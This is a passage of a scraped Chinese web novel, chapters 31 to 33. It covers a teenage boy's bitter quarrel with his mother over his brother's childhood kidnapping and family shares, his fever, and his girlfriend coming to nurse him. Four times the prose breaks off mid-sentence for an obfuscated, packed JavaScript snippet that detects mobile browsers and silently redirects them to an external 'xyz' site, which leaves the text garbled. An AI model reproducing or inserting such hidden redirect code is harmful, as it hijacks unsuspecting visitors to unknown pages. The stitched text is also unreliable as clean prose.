RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14618506|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会儿两家的关系没得说,徐情和宋遂愿从闺蜜变成了家人,还约定好如果生的宝宝是一男一女就订娃娃亲。不过最后两人生的都是男孩。 宋不辞那时性子比现在顽劣,老逗宋理枝,即便哭了,他也能三言两语就哄好。 两家关系降至冰点的起因,是宋不辞说想去游乐园。他爱玩,而宋理枝爱跟着他。 徐情没空,陪兄弟俩去的是宋无恙和宋遂愿。由于宋理枝身高不达标,坐不了大摆锤,所以宋遂愿让宋不辞好好看着弟弟,在原地等着,她则和宋无恙去玩了。 但也就在这三四分钟,兄弟俩遇到了人贩子。 宋不辞牵着宋理枝的手,乖乖在原地等着,突然一只拿着白布的手从脑后伸过来,捂了住了他的口鼻,力气很大,根本挣脱不开。 宋理枝见势,当场要大哭大叫吸引其他人的注意力,但他没得逞,因为人贩子已经松开了宋不辞,直接捂住了他的嘴,将所有音节都堵了回去,以至于暂时没人发现这边不同寻常的动静。 然后,宋不辞看见那人直接将宋理枝抱起。 他这才反应过来,原来自己不是对方的目标。 “哥…哥哥……哥……”宋理枝含糊不清的哭喊声断断续续传来。 宋不辞几乎是花光所有力气和尚且清醒的意识,急速抓住宋理枝的手臂,死死抓紧,他张嘴想喊人,却发现嘴唇和眼皮一样沉重。 于是他咬破嘴唇,想用疼痛迫使自己保持清醒,只要多抓一会儿,就一定会有人注意到他们。 但没用,因为宋不辞没扛不住迷药的发作。 他晕倒前的最后画面,是戴着口罩帽子墨镜、将自己的脸掩藏得严严实实的人贩子,以及自己的手慢慢松开,再也没抓住宋理枝的手。 而宋遂愿看到的,是她儿子被陌生人抱走,宋不辞无动于衷,只踉跄两步摔倒在地。 “要不是你,我和遂愿的关系能走到这个地步?”徐情逼问。 宋不辞目光沉沉,看了她好久才开口,“妈,你信过我吗?” “我解释过很多次,我没有无动于衷,我尝试抓住他拖延时间,我尝试喊过人,但因为迷药……” “既然你被捂了迷药,那为什么被抓走的是平安?”徐情冷漠地打断,字字诛心。 这句话变相在质问,为什么当初被拐走的不是你? 宋不辞怔住,顿觉五脏六腑都被刺穿,表面风平浪静,实际皮囊之下已是血淋淋一片。 他以为,再难听的话都有一个限度,他需要做的,便是承受这个限度。毕竟这些年一直是这样过来的。 原来还是有承受不了的限度。 宋不辞深吸一口气,而后缓缓吐出,近乎是一种艰难的叹息。 少时,他收拾好情绪,云淡风轻地说了句:“我比任何人都希望,当年被拐走的人是我。” 话音落下,整栋别墅陷入长久的沉默。 “妈,我今天来不是为了跟你翻旧账的。”宋不辞将话题拉回最初,并速战速决,“奶奶留的股份,我可以原封不动地给你,我要的很简单,就两个字。” “我这么多年能听你的话,不是因为我完全受你掌控,而是愧疚和奶奶的遗愿。” “你也知道我不是个什么好东西,这次也要让你失望了。” “如果你不同意,那我会将股份转赠给其他股东,我记得高叔差10%就能拥有控股权吧?” 他说完,还十分无耻地弯了下嘴角,大有破罐子破摔的意思。 “宋不辞!”徐情怒目圆睁,大声呵斥,手里紧握的杯子朝他的脸砸去,“你个孽障是打算将你爷爷奶奶一生的心血拱手让人吗?!” 宋不辞偏头,杯子险险擦过他的脸侧飞过去。他神色平静,不为所动道:“奶奶去世前说过,无论我以后做什么她和爷爷都支持。妈,你要是考虑好了就跟我说,股份随时在,如果你派人跟踪监视我,或者把我抓回来关禁闭,我也会不惜一切代价拼个鱼死网破。” 话说得很明确了,无论徐情同不同意,无论她再搬出任何人,他都不会妥协。 徐情瞪着他,“你奶奶到底是留了多大的底气,能容你如此挥霍。” “她的信任,就是我最大的底气。”宋不辞起身,绕过茶几,抬腿走人,准备上楼收拾东西。 “就为了姜知幻?”徐情的声音自他背后响起。 宋不辞有些心累地叹了口气,说:“妈,你还不明白吗?我是为了我自己。” “一想到成年后要选自己不喜欢的专业,我就烦呐。” “不过,你如果想为难她的话,劝你还是打消这个念头。” “如果惹她不开心了,不仅我会帮着她,她家里人也会出面,到时候吃亏的只会是宋家。” “妈,我好不容易才克服了自卑去谈这场恋爱,如果因为这种事分了,我会疯的。所以,到时候就别怪我六亲不认。” 一番话立场鲜明,利弊权衡。 徐情额角青筋暴起,眼里带着恨意。 她这个儿子,当真是混蛋得不行,为了一个外人竟要和亲妈反目成仇! 宋不辞将将踏上一步台阶,忽然想起什么似地撤回脚,转头看向正在气头上、黑着一张脸的徐情,说:“对了妈,那件事是我的错,我认。如果我做什么都得不到你们的原谅,那就干脆把我这条命拿去吧。” “虽然不值几个钱,但应该挺解恨。” 31. Chase “失败而自私的忏悔者啊。” “你的存在,带给身边人的只有伤害。” 漆黑冷清的卧室,宋不辞纹风不动地躺在床上,一只手覆盖眼睛。球的声音就像旋绕于耳边的苍蝇,嗡嗡作响。 “你真的很吵。” “所以我打算消耗一条小鱼干。” 球:“……” “乖,麻溜地滚吧。” 室内重归寂静。 宋不辞假寐片刻,正要起身去收拾行李,搁在床头柜上的手机响了。他伸手摸过来。 微弱的莹白光芒打在宋不辞脸上,亮度有点高,他不适应地眯了眯眼,调低,这才接通电话,点开免提。 还没开口,那头的男人便劈头盖脸一顿质问:“宋不辞,转赠股份这么重要的事,你为什么不跟我商量!” 吼声太大,以至于宋不辞没拿稳手机,pia地砸在脸上。他吃疼地揉了揉鼻梁,心里默默骂了个草。 躺在脑侧的手机依然亮着,屏幕上显示三个字——宋无恙。 真是好事不出门,坏事传千里。 “你这不是来跟我商量了吗?爸。” 宋不辞坐起身,借着窗外透进的月光,打开行李箱,拿出妥善包装好的星空灯。 “我不来问,恐怕肥水就要流入外人田了!” “这不是还没流出去吗。”宋不辞被吵得脑仁疼,语气听着挺无奈的。 他插上电源,调好焦距,顷刻间,黑白银河占满整个天花板,倒映在眼睛里。 宋无恙听他声音平和,自己也放缓了语气,劝道:“你妈那个脾气你又不是不知道,这么多年不都是这样过来的,她说什么你听着就行,男人嘛,大度点。我听你妈说你还闹离家出走,都要成年的人了别像个小孩一样,过段时间等你妈气消了,回去好好道个歉,听见没?” “你都知道她什么脾气,那还跟她吵架,忍忍就过去了爸。男人嘛,大度点。”宋不辞仰头,目不转睛地望着,懒洋洋地勾了下唇。 那头的宋无恙似乎愣了下,语气变了又变,“你…你……你这是在跟我唱反调?” “没。” 一股强烈的郁闷与窒息忽然袭来,手也开始控制不住地颤抖。 宋不辞拧眉,冷汗直冒,没心情再多聊,快速道,“爸,我会跟妈道歉,股份也会留给自家人,前提是你们别管我了。” 别派人跟踪监视,别再把他抓回去关禁闭,别给他安排补习老师,别限制他的自由…… “欸,这就对了。我什么时候管过你,这么多年不都任你自由生长。”宋无恙松了口气,“行了,股份你好好放着别乱动,你妈那边我来说。” 说完,他挂断电话。 果然,商人重利。 还好,商人重利。 宋不辞的呼吸变得急促起来,双腿哆嗦得厉害,“扑通”一声跪在床边。他强忍难受,伸长手去抓床上的手机,竭力镇定地拿住。 电话列表中没几个名字,而最后一个联系人的备注不同于其他,是一个地球的emoji表情。 宋不辞的指尖悬在地球上方,迟迟没有点下去,他全身颤索得厉害,一个不小心,手机从手中滑落。 他听见自己砰砰跳动的心脏,声音清晰又沉重,而一滴眼泪划过脸颊,无声砸落。 … “啪嗒。” 手边的笔不小心碰掉,姜知幻弯腰捡起,心里莫名涌出猛烈的不安感。她想起了刚才那通电话。 以前和外公外婆通电话时,如果先挂,免不了得来一通斥责说教,但就在不久前,姜知幻破例了。 她先挂了电话,两人却没有生气。 太奇怪了。 事出反常必有妖。 翌日,姜知幻起了个大早。去的路上,她买了些水果。 到了后,周知敏欣喜地拉她进门,说:“今天来得巧,你们班主任关老师也来了,在书房跟你外公聊天。” “关老师来了?”姜知幻将水果放进果篮。 关顺毕业于江大,是傅凌杰的学生。 “对啊,我刚还跟她聊了两句。”周知敏乐呵呵道,“她说你在学校表现很好,最近的考试一直是第一。我就知道我们有知是最厉害的。” “我们班的同学都挺厉害的。”姜知幻拿起水果刀,边削雪梨,边漫不经心地问起,“外婆,上次家长会,我妈跟你们说了什么?” 她挺喜欢动脑思考问题的,能猜到的就不会问,如果问了,那就是没把握或毫无头绪的事。 “你突然提她干嘛。”周知敏撇嘴,谨慎地观察着姜知幻的表情,欲言又止。 姜知幻把削好的整个雪梨切成两半,递给她一半,“她是我妈,为什么不能提。” 她咬了口,又说了句:“挺甜的。” “是挺甜。”周知敏也咬了口,“关老师还在书房呢,你去跟她聊两句吧。” 姜知幻点了下头,和周知敏坐在沙发上交谈了几句,吃完梨便起身走向书房。 周知敏的目光从她的背影落到手上的戒指,然后再转向随意搁在果篮中,用完没清洗的水果刀,眸色沉了下来。 姜知幻推门而入,傅凌杰最先注意到,目光落在她搭在门把手的手上,眼底划过不悦。 “不好意思啊外公,”姜知幻关上门,笑盈盈道,“我听说关老师来了,迫不及待想见见她,忘了敲门了。” “知幻来了?快过来坐。”关顺拍拍旁边的位置。 傅凌杰语气温和,“快过来吧,正好聊到你了。” “关老师好。”姜知幻礼貌地打了个招呼,坐下,看向他,疑惑道,“聊我什么?” “聊你小时候的事。”关顺说,“傅老说你小时候养过一只猫叫少爷哈哈哈哈哈,怎么想到取这个名字的?” 姜知幻随口搪塞道,“就……突发奇想。” 小时候陈百臻陪在她身边的时间比较多,他没什么兴趣爱好,就喜欢看点狗血伦理剧,男主通常不是霸道总裁就是集团少爷,长得也帅。 那只猫是流浪猫,公的,年纪小。姜知幻觉得少爷听起来年轻,于是取了这个名。 “那少爷现在在京城吗?”关顺问。 “不在,已经送人了。”傅凌杰看了姜知幻一眼,“她从小就是三分钟热度,即使再感兴趣也都不长久。” 姜知幻脸上的笑容收敛几分,眼睫轻垂盯着茶杯,没吭声了。 “这样啊。”关顺察觉到氛围不太对,转移话题道,“正常,我女儿也这样,心血来潮学了两天奥数就不想学了。我觉得主要是孩子开心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14710804|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就好,其他无所谓。” 傅凌杰的视线短暂地落在那两枚戒指上,露出令人琢磨不透的浅笑,“但愿如此。” … 离开时,姜知幻和关顺一同出了小区门。 “没想到傅老还会笑,这么多年我从来没见他笑过。”关顺打趣道,扭头看她那张不显情绪的脸,“你怎么了?一脸闷闷不乐的,来跟老师说说,老师为你排忧解难。” 姜知幻眨了下眼,“没什么,走神了而已。” 关顺:“是不是想少爷了?” “嗯?”姜知幻一时也不知道自己是真没听清,还是在回避这个问题。 “陪在身边的人事物,时间久了都会有感情,你当初其实也不想送它走,对不对?”关顺问。 姜知幻摇摇头,“我挺想送它走的。” 留在我身边只会更糟。 “是吗,看来我猜错了。”关顺笑笑,就像个洒脱的知心姐姐,“不过,你要是想它的话,可以去看看它。” “看它?” “你知道少爷送给谁养了吗?” “知道。” “那如果想它了,就去看看它吧。”关顺说,“说不定,它也想见你。” 姜知幻沉默半秒,回答得模棱两可,“也许吧。” 她踩着路面上残落的花瓣,看着灰蒙蒙的天,想起了那只贪吃的英短蓝猫。初遇那天,它就是趴在一片残落的花瓣上,毛发颜色看上去跟此刻的天一样,但实际上是蓝色。 那天是难得的好天气。 也不知道它现在过得怎么样…… 脸是不是还那么圆? 思及此,姜知幻不由自主地弯起嘴角,连她自己都没发现。 “果然还是有感情的。”关顺说着,拍拍她的背,“我先走了,下次要是有什么心事,来办公室找我。” 姜知幻略一迟疑,旋即点头,脸上的笑意越发明亮,“谢谢你,关老师。” “这才对嘛,笑起来多漂亮。” 关顺跟她挥挥手,而后头也不回地朝公交站的方向走。 她没告诉姜知幻,在她来之前,周知敏和傅凌杰问过许多关于她的问题,小到有没有扎头发、坐姿端不端正,大到交的朋友如何、有没有谈恋爱。 在这种方方面面都要严格要求的环境下成长,能保持着一份无畏无惧的明媚很难得。 希望她能一直如此。 补习班的每个同学也都要如此。 关顺从包里掏出一张用了七年的公交卡,都有些褪色了。她凝视片刻,不禁感慨时间就像歌里唱的那样,像长了脚的妖怪跑的飞快。 年少时的迷茫期,傅凌杰曾帮了关顺一把,这也是促成她决定当老师的主要原因。没想到待学生耐心开明的傅老,对亲孙女的教育方式竟和她的父母一样,带着束缚与枷锁。 关顺发觉,刻在心里的那座榜样悄然解体了,慢慢重塑成她自己的模样。 即使还是不太明确教育的意义是什么,但她认为,如果守着一堆品种各样的花草树木,就不要去管如何长才最好看,任它们快乐地追求自主灵魂,她默默看着,偶尔浇灌,只对那些枯死的部分好好进行修剪。 关顺轻声叹气,自言自语地嘟囔了句:“突然有点想那群活宝了是怎么回事?” 32. Chase 天气预报说的雨是从第二节课开始下的。 淅淅沥沥的雨声传进班内,不少同学按捺内心的激动与兴奋。 耶,大课间不用跑操了! “范洋,你来翻译下这句话。” 英语老师拍了两下黑板,唤回同学们的注意力。 “啊?哦……好。”盯着冯潇潇后脑勺发呆的范洋仓促站起身,边慢吞吞拿起卷子,边对同桌疯狂使眼色。 江湖救急,哪句话? 秦六佑状似不经意地抻着脑袋,偏过头,小声提醒:“第二自然段第二句。” 慌里慌张的范洋连忙锁定目标,磕磕巴巴地说出答案。 “嗯,坐下吧。”英语老师颔首,一脸严肃地说,“大家都高三了,上课走神这种事别再让我来提醒。” 姜知幻仿若未闻,看着身旁空空如也的座位。 临近早读,宋不辞给她发了消息,很简短的四个字。 serendipity:生病请假 姜郎不才尽:在医院? serendipity:家 言简意赅,连个多余的字都没有,和之前的聊天风格完全不同。 看来病得应该挺严重,打字都费劲。 不过,他一个人在家吗? 下课铃响,广播通知跑操取消,时间自由安排。 姜知幻从书包里摸出手机,发了几条消息过去,但宋不辞都没回。 她想了想,点开与傅琳的聊天框。 姜郎不才尽:在吗?大美女 姜郎不才尽:叼玫瑰.jpg 大美女的回复比预料中快。 dusk:在 姜郎不才尽:我想请假 dusk:去干嘛呀宝贝 姜郎不才尽:看月亮 dusk:大白天你上哪看月亮? 姜郎不才尽:妈,你听说过一句话吗 姜郎不才尽:等待是最长情的告白 dusk:…… dusk:宝贝 dusk:你最近的学习压力是不是有点大? 插科打诨间,桌面被敲了两下。 姜知幻下意识息屏,将手机揣进兜里,抬头,循声望去。 “你什么时候来的?”她看着站在斜前方的温玉,有些意外。 分明两分钟前,这个位置还是空着的。 闪现啊。 温玉今天的打扮不同以往,鼻梁上多了副银丝框眼镜,整个人看着儒雅斯文,那双多情的杏眼里却多了些许冷峻。 “刚刚。”他说着,头往前门口的方向偏了下,“关老师找你。” “哦。”姜知幻起身。 温玉揉了揉脖颈,问:“宋不辞呢?” “请假了。”姜知幻回。 温玉的视线转到夏闲身上,作死将人摇醒,“闲啊别睡了,快看看你英俊帅气风流倜傥的同桌回归了。” “你是不是欠揍?”夏闲烦不胜烦,压着眉眼间的不耐。 温玉的回答牛头不对马嘴,“我知道你想我了,别不好意思。” “滚。” 办公室内。 “你妈妈刚给我打电话,给你请了一天假。”关顺在请假条上签好字,看着假条上的理由,犹豫了下,开口,“为了看月亮?” 姜知幻点头,脸不红心不跳地说:“我们家的人比较浪漫。” “……”关顺在她脸上看不出任何破绽,妥协地摆摆手,说,“去吧去吧,明天回来记得把今天的进度赶上。” “好,谢谢关老师。”姜知幻笑着微微欠身。 … 寒风细雨,天空灰暗。 姜知幻背着书包走出教学楼,右手撑伞,左手持手机,给宋不辞拨了个电话。 “您拨打的电话已关机……” 关机了…… 难怪之前发的消息都石沉大海。 姜知幻将手机揣进兜里,继而摸出请假条。她踩着地面上的雨水,不紧不慢地走,思考出校门后要买点什么。 不知道他去过医院没,吃过药没…… 去看宋不辞这个念头,是突然冒出来的。如果有人照顾他,她就回学校继续上课。 姜知幻把假条递给门口保安大爷时打定了主意,买些感冒药和退烧药。 气温骤降,这两种病容易得。 到达宋不辞家门口,姜知幻长睫轻垂,抬手,一个数字一个数字地按下。 20160520 “咔哒。” 解锁成功。 姜知幻拎着药和伞走进,低头,只见玄关处摆放的鞋子多了两双。 女士凉拖鞋和毛绒拖鞋。 一楼空荡静寂,没开灯。 姜知幻换好鞋,将手里的东西找位置放好,这才提着药上二楼。她推开虚掩的卧室门,室内没开灯,窗帘紧闭,比楼下还黑。 姜知幻没有注意床上的情况,而是先拉开窗帘。外面的光线顿时涌入房间,她转身看着床上躺着的人,慢步走过去。 所有猜测在这一刻都得到了印证。 偌大的房子里,没人照顾他,床头柜放着一部电源耗尽的手机,拔了插头的星空灯,以及一支水银温度计。 宋不辞闭着眼,蹙着眉,脸颊泛红。似乎睡得很沉,丝毫没察觉床边多了个人。 他的额发湿漉漉的,睫毛也是,姜知幻盯着睫毛看了会儿,一时分辨不出是汗打湿的,还是哭过。 她边拿起温度计看了眼,边抬手,手背刚覆上少年的额头,就感受到滚烫的温度。 39.2℃ 发高烧。 “宋不辞。”姜知幻皱眉,拍拍他的脸,又晃晃他的肩。 叫了好几遍名字,床上的人终于有被唤醒的迹象。 宋不辞迷糊间感觉到有什么东西贴在脸上,冰冰凉凉的,挺舒服。他伸手抓住,慢吞吞睁开眼。 入目是一只冷白的手,腕侧有痣。 眼熟,像他女朋友的手。 宋不辞脑袋晕乎乎的,觉得肯定是在做梦,可触感又实在太真实了,他鬼使神差地将手扯到唇边,吻了下那颗痣。 是个美梦。 正这样想着,下巴突然被一只手捏住,摇晃两下,本就晕的脑袋更加混沌了,耳边响起清凌凌的女声。 “你在做什么梦?” 宋不辞的眼皮猛地往上抬,看见了姜知幻的脸。他的目光直接定住不动,倏忽间有好多话想说,却不知从何说起。 所以他目不转视地盯着姜知幻,视线钉得很牢,好似生怕她下一秒就消失了。 “清醒点没?”姜知幻语气担忧,“没被烧傻吧?” 宋不辞呆呆地盯了她五六秒,终于反应过来,他开口,嗓子又干又哑,声音轻轻,“没。” 姜知幻问,“去医院看过没?” “没。” “吃药没?” “没。” “所以,你是打算靠自己顽强的意志力痊愈吗?” “没。” 句句有回应,句句都一样。 姜知幻气笑,忍不住揉两下宋不辞的脸,试图让他更清醒些,“生病了你为什么不去医院不吃药,也不打电话跟人说?” “……不是。”宋不辞迟缓道,但病成这样,他竟还有力气笑,声音听着又挺可怜巴巴,“没劲儿。” 是真没劲儿。 跟宋无恙通完话后,他昏睡到凌晨才醒,身心俱惫地从地板上爬上床继续睡。饿醒后只觉喉咙不舒服,没太在意,简单弄了点吃的、喝了杯热水又躺回床上。 今早被闹钟吵醒时浑身发烫,一点都不想动弹,他靠着残存的意志力给自己量体温、打电话请假,回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14757067|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复完姜知幻的消息,体温计都没认真看一眼,放在床头再次睡过去。 可怜巴巴。 放以前,姜知幻根本不觉得这四个字能与宋不辞适配。他很好说话,很顺着她,却绝不是好拿捏的类型,偶尔露出性格棱角时,她都有些措不及防。 细想起来,这还是宋不辞第一次展示自己比较弱势的一面。即便情况特殊。 “现在好点了吗?”姜知幻的语气不自觉地放软,问。 宋不辞懒蔫蔫地耷拉下眼皮,没回答问题,倒是握紧了她的手腕,话语似撒娇又似央求,“你陪陪我吧。” 已经记不清,上一次生病有人陪是什么时候了。 “好。”姜知幻没有犹豫地应了声。 “我买了退烧药和退烧贴。”她不确定有没有用,“如果没用,到时候你起不来,我雇人都得把你抬去医院。” 宋不辞弯了下唇,十分听话:“嗯。” “再测一下温度吧。”姜知幻甩了两下温度计,看他,“家里有酒精吗?” “一楼的柜子里。”宋不辞说。 姜知幻点头,抽出手,下一楼找到医药箱,用酒精消毒后折返回卧室。 宋不辞这会儿已经坐起来了,他半阖着眼,神色倦怠,整个人都被无精打采的病气笼罩。 察觉到姜知幻的身影,他微微仰头。 “含着。”姜知幻把温度计递过去。 宋不辞张嘴,乖乖照做。 等待中,姜知幻单腿跪在床上,牙尖磨着上唇,注视他红意未褪半分的脸。现在,只有她能看见这副模样。 质问?指责?还是安慰? 浑然不知她内心活动的宋不辞也在看她,看清了她眼底的笑意时,歪头扬了下眉。 ——我生病了你这么开心? 原来还有开心。 姜知幻抬手摸他发烫的耳尖,笑意越发不加掩饰,音调慵懒,轻声吐出三个字:“真可怜。” 如果没抓住来看他的念头,病成这样身边都没个关心他的人,啧啧,惨兮兮的小可怜。 宋不辞一言不发地看着她,嘴里含着的不像是温度计,倒像叼了根棒棒糖或烟。 姜知幻倾身凑近,眼底的侵略性与占有欲愈加明显,“现在,你身边好像只有我了。” 她说完,宋不辞没有任何动作,只缓慢地眨了下眼,光看神情,没人能摸透他的内心想法。 室内没开灯,唯一光源是从窗户透进的灰白天色。雨势渐汹,拍打玻璃,淋淋漓漓,仿佛有着浸透人心的力量。 姜知幻面色平静如水地跟他对视,等回答。 她表面从容淡定,实则在无人看见的地方,手揪着被子的一角不放,随着对视的时间增加,揪住的力道也在增加。 厌恶,恼怒,疑惑,惊讶,觉得她有病……姜知幻在脑中设想了成百上千种可能会看到的表情,偏偏宋不辞一点反应都没有。 这不是她想看到的结果。 得不到回应就像没有正确答案的语文大题,一直猜到底哪个回答更加贴切的感觉很煎熬。 “你……”能不能给点反应。 就在姜知幻打算破罐子破摔时,宋不辞忽然抬手,有气无力地指了指嘴里的温度计。 时间够了。 姜知幻压住心头那股躁,拿过温度计瞧了眼。 38.5℃ 也不知是不是睡觉时出了汗的缘故,温度反而降了。 “你这一觉睡得倒是不亏,居……”姜知幻放下温度计,话说到半截,一双手毫无预兆地环住她的腰肢。 姜知幻怔愣,紧接着,一股热源贴上脖间,致使她头皮瞬间麻了下。 宋不辞抱着她,额头紧挨肩颈处。 房间内落针可闻,他开口,嗓音低哑。 “嗯,只有你。” “所以,别不要我。” 33. Chase 又被他顺毛。 更想得寸进尺了。 姜知幻松手,抚平被揪皱的一角。她的下巴抵着宋不辞的肩,想了一会儿,轻轻推开他,没让这个拥抱持续太久,“吃药。” 言罢,她下楼接了杯热水返回。 或许是人在脆弱时倾诉欲相比平常,会更加强烈。 宋不辞吃完药,贴上退烧贴,重新躺回被窝。明明又困又累,眼睛都闭上了,手却抓着姜知幻的手腕不放,叽里咕噜说了好多话。 他问的第一个问题就让姜知幻愣住,“你是不是不喜欢我跟别人有肢体接触?” 隐藏在心底阴暗晦涩的角落忽然泛进微光。 错愕又无措。 “不喜欢。”她选择直白回应,没有拐弯抹角。 静默须臾,宋不辞低“嗯”了声,又说了个“好”字。 反应平平,就像是单纯确认了一个已知答案的问题,但他嘴角是翘着的。 姜知幻看着他安静的睡颜,嗫嚅两下嘴唇,无言。 宋不辞没睁眼也没动,唯有嘴在一张一合,跟她说书房里的电脑密码是多少,说书房里有哪些类型的书,说电视柜里的游戏哪款最好玩,说家里随便逛喜欢什么随便拿……他还说,如果想睡觉,可以去隔壁卧室,已经铺好了,不过你要是想跟我一起睡,我也不介意。 语气听着挺勉为其难又傲娇,说完,这人没脸没皮地笑了笑。 姜知幻眼神幽幽,瞥了他眼,毫不留情地抽出手,把被子往上一扯,将那张招蜂引蝶的脸遮得严严实实。 “要闷死啦。”隔着厚重布料,宋不辞的声音听起来低弱而沉闷。 姜知幻提起嘴角,把被子拉了下来,怕他真被闷死。 她懒洋洋道:“睡个好觉,男朋友。” 宋不辞温顺地点点头,小声嘟囔出最后一句话:“喜欢你。” 真的好喜欢你。 姜知幻的手掌心覆上他的手背,轻声回应:“我也喜欢你。” 室内静谧,外面是一场哗然的潮,里面两个少年人互诉心意。 我喜欢你,就像窗外的倾盆大雨,从未停息。 等宋不辞熟睡,姜知幻起身。她没去书房,也没玩游戏,而是从书包里拿出试卷开始做。 执起笔时,她没来由地看了眼手腕。那被抓过的皮肤部分好似还残存着暖意。 … 宋不辞一觉醒来,天色将暗未暗,雨未停。 精神气算是恢复大半,他起床,从衣柜里挑出衣物进了浴室。 洗完澡吹完头,浑身清爽。 宋不辞下楼。 一楼开着灯,姜知幻盘腿坐在沙发上,手里拿着个游戏手柄,正盯着电视屏幕聚精会神地操作。茶几上还散乱地放着几张卷子,有写完了的,也有空白。 空白卷估计是给他的。 姜知幻玩的是他最新买的那款。 SilenceoftheKill,沉默的杀戮。 暗黑风格,以末日为背景的剧情向游戏,通过解密和打怪来升级、收集装备。 姜知幻眼也不眨地给了面前的多触角变异怪几枪,没死,于是改变进攻方式,放火烧,结果发现这玩意儿的皮厚如城墙,子弹和火对它毫无威胁,甚至还冲她挑衅地“桀桀桀”笑。 “好点了?”余光注意到有人靠近,姜知幻问。 她看着电视中那副丑陋的嘴脸,嫌弃地拧了下眉,一边反应快速躲避攻击,一边细心留意。 “嗯,退烧了。”宋不辞坐到旁边看她玩,他懒散地靠着沙发背,问,“吃饭没?” “还没。”姜知幻终于找到怪物的弱点,一颗子弹精准带走。她一心二用,往宋不辞怀里靠了靠,闻着他身上的香气,问,“你身上的味道是沐浴露还是香水?” 干净清冽,像加了冰的薄荷柠檬酒,很好闻。 她之前就想问来着,但忘了。 “喜欢?”宋不辞垂眸瞧她的侧脸,微俯身,嘴角噙着吊儿郎当的坏笑,“喜欢香水还是喜欢我?” “喜欢腹肌,”姜知幻侧过头看他,视线刻意慢慢地往下扫,“给看吗?” “只是看?”宋不辞故作正经地反问,倒是没有丁点扭捏,他忽地抓住她的左手,“还能摸,你要不试试手感?” 随着他的引领,她的指尖从宽松的毛衣衣摆下探入。 姜知幻心头一惊,连忙缩回手,耳根红了个彻底。 游戏角色因操作失误,不小心摔下悬崖,尸体被一堆丧尸啃噬个精光。 宋不辞低头笑了下,声音轻而短促。 “光说不做假把式。”他漫不经心道。 姜知幻瞪他,放下游戏手柄就要伸手。 “晚饭想吃什么?”宋不辞赶紧起身避开,不给她反击的机会。 他知道姜知幻喜欢口嗨,可有些事一旦激她,她就会进入“这事我今天必须做给你看”的状态。 “随你。”姜知幻吃了个哑巴亏,不太开心。 宋不辞揉了揉她的脑袋,随后转身,迈着步子朝厨房走。 姜知幻望着他的背影,视线一点点向上攀,停至在那有些乱蓬蓬的、翘着呆毛的脑袋。 这人真是又欠又让人喜欢。 微信视频电话响起,姜知幻看了眼来电人,又看了眼打开冰箱拿菜的宋不辞,接通。 “晚上好啊,妈。” 姜知幻靠着沙发背,举着手机,眉眼弯弯道。 宋不辞拿菜的手一顿。 “吃饭了吗?宝贝。”傅琳看着她背后陌生的陈设,又随口问了句,“在朋友家?” “在男朋友家。”姜知幻坦言。 傅琳眉峰轻动,一脸“我就知道事情不简单”的表情。 “男朋友?” 视频中穿插进一道微冷的男声,略带疑惑。 傅琳将手机画面倾斜,露出穿着粉色围裙正在切菜的姜陆予。 姜知幻淡定地点了下头,还笑了下,“对的爸,你没听错。” “是你同桌吗?”傅琳嘴上问着,心里却已有答案。 姜陆予放下菜刀,想起来老婆开完家长会回来后,跟他提过一嘴,“那个姓宋的小子?” 姓宋的小子洗着菜,莫名觉得自己现在如履薄冰。 “是他。”姜知幻穿上鞋,小跑到宋不辞身旁,用眼神询问他要不要出镜。 宋不辞放下手里的活,镇定自若地凑过去,礼貌地打招呼,“阿姨叔叔晚上好。” 他没想到见姜知幻的父母会这样猝不及防。 “你好。” 两人一个笑意盈盈,一个面色淡然。其实表现挺平易近人的,但也许是身份的加持,无论哪个,都有着令人油然而生的压迫感。 即使见过傅琳,宋不辞仍旧紧绷,平日那身散漫气质全数收尽,无意识地攥了下衣摆。 傅琳扫了眼他身上穿的围裙,“你也在做饭呢?” 宋不辞:“是的,阿姨。” “妈,怎么样?我男朋友帅吧?”姜知幻语气嘚瑟,在两人看不见的角度,从容地牵住宋不辞的手,十指相扣。 她晃了晃,似安抚。 这种感觉很奇妙,像在父母眼皮底下偷情。 傅琳没回答,把目光放在姜知幻身上,姜陆予更是没在意宋不辞,继续做自己的饭了。 同样身着围裙,姜陆予硬生生撑出几分冷冽与强势。不像是做饭的,更像是某位金盆洗手的大佬。 傅琳:“过段时间我和你爸要来江城住。” “真的假的?”姜知幻两眼放光,“住多久?” 姜陆予边炒菜边说:“直到你高考。” “不是因为工作?”姜知幻讶异。 傅琳眼神温柔,“当然不是,就是想多陪陪你。” 姜知幻问:“那你们打算住哪儿?” 傅琳:“暂时还没定好,要不跟你一起住?” 姜知幻听出她语气里含有玩笑成分,直接拒绝,“我不要,我自己一个人住着挺好的。” “哎,长大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 